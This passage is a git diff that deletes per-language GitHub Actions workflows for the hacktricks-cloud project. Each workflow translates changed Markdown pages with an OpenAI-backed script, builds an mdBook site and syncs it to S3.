diff --git a/.github/workflows/translate_af.yml b/.github/workflows/translate_af.yml deleted file mode 100644 index 027419cd8..000000000 --- a/.github/workflows/translate_af.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to AF (Afrikaans) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: af - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Afrikaans - BRANCH: af - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_de.yml b/.github/workflows/translate_de.yml deleted file mode 100644 index bff3dba78..000000000 --- a/.github/workflows/translate_de.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to DE (German) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: de - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: German - BRANCH: de - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_el.yml b/.github/workflows/translate_el.yml deleted file mode 100644 index 743f1d2dd..000000000 --- a/.github/workflows/translate_el.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to EL (Greek) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: el - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Greek - BRANCH: el - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_es.yml b/.github/workflows/translate_es.yml deleted file mode 100644 index 7a1a78ee2..000000000 --- a/.github/workflows/translate_es.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to ES (Spanish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: es - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Spanish - BRANCH: es - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_fr.yml b/.github/workflows/translate_fr.yml deleted file mode 100644 index 412c0b024..000000000 --- a/.github/workflows/translate_fr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to FR (French) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: fr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: French - BRANCH: fr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_it.yml b/.github/workflows/translate_it.yml deleted file mode 100644 index 035f02d99..000000000 --- a/.github/workflows/translate_it.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to IT (Italian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: it - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Italian - BRANCH: it - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_ja.yml b/.github/workflows/translate_ja.yml deleted file mode 100644 index 29379d9e7..000000000 --- a/.github/workflows/translate_ja.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to JA (Japanese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ja - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Japanese - BRANCH: ja - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_ko.yml b/.github/workflows/translate_ko.yml deleted file mode 100644 index 16669be6f..000000000 --- a/.github/workflows/translate_ko.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to KO (Korean) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: ko - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Korean - BRANCH: ko - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pl.yml b/.github/workflows/translate_pl.yml deleted file mode 100644 index f0ebf6f61..000000000 --- a/.github/workflows/translate_pl.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PL (Polish) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pl - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Polish - BRANCH: pl - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_pt.yml b/.github/workflows/translate_pt.yml deleted file mode 100644 index b7dbb3249..000000000 --- a/.github/workflows/translate_pt.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to PT (Portuguese) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: pt - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Portuguese - BRANCH: pt - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete diff --git a/.github/workflows/translate_sr.yml b/.github/workflows/translate_sr.yml deleted file mode 100644 index 4a9290527..000000000 --- a/.github/workflows/translate_sr.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SR (Serbian) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sr - -permissions: - id-token: write - contents: write - -jobs: - run-translation: - runs-on: ubuntu-latest - environment: prod - env: - LANGUAGE: Serbian - BRANCH: sr - - steps: - - name: Checkout code - uses: actions/checkout@v2 - with: - fetch-depth: 0 #Needed to download everything to be able to access the master & language branches - - - name: Set up Python - uses: actions/setup-python@v2 - with: - python-version: 3.8 - - - name: Install python dependencies - run: | - python -m pip install --upgrade pip - pip3 install openai tqdm tiktoken - - # Install Rust and Cargo - - name: Install Rust and Cargo - uses: actions-rs/toolchain@v1 - with: - toolchain: stable - override: true - - # Install mdBook and Plugins - - name: Install mdBook and Plugins - run: | - cargo install mdbook - cargo install mdbook-alerts - cargo install mdbook-reading-time - cargo install mdbook-pagetoc - cargo install mdbook-tabs - cargo install mdbook-codename - - - - name: Update & install wget & translator.py - run: | - sudo apt-get update - sudo apt-get install wget -y - cd scripts - rm -f translator.py - wget https://raw.githubusercontent.com/carlospolop/hacktricks-cloud/master/scripts/translator.py - cd .. - - - name: Download language branch #Make sure we have last version - run: | - git config --global user.name 'Translator' - git config --global user.email 'github-actions@github.com' - git checkout "$BRANCH" - git pull - git checkout master - - - name: Run translation script on changed files - run: | - echo "Starting translations" - echo "Commit: $GITHUB_SHA" - - # Export the OpenAI API key as an environment variable - export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }} - - # Run the translation script on each changed file - git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do - if echo "$file" | grep -qE '\.md$'; then - echo -n "$file , " >> /tmp/file_paths.txt - else - echo "Skipping $file" - fi - done - - echo "Translating $(cat /tmp/file_paths.txt)" - python scripts/translator.py --language "$LANGUAGE" --branch "$BRANCH" --api-key "$OPENAI_API_KEY" -f "$(cat /tmp/file_paths.txt)" -t 3 - - # Push changes to the repository - - name: Commit and push changes - run: | - git checkout "$BRANCH" - git add -A - git commit -m "Translated $BRANCH files" || true - git push --set-upstream origin "$BRANCH" - - # Build the mdBook - - name: Build mdBook - run: mdbook build - - # Login in AWs - - name: Configure AWS credentials using OIDC - uses: aws-actions/configure-aws-credentials@v3 - with: - role-to-assume: ${{ secrets.AWS_ROLE_ARN }} - aws-region: us-east-1 - - # Sync the build to S3 - - name: Sync to S3 - run: aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete \ No newline at end of file diff --git a/.github/workflows/translate_sw.yml b/.github/workflows/translate_sw.yml deleted file mode 100644 index 5e5fc46a9..000000000 --- a/.github/workflows/translate_sw.yml +++ /dev/null @@ -1,119 +0,0 @@ -name: Translator to SW (Swahili) - -on: - push: - branches: - - master - paths-ignore: - - 'scripts/**' - - '.gitignore' - - '.github/**' - workflow_dispatch: - -concurrency: sw - -permissions: - id-token: write - contents: write - 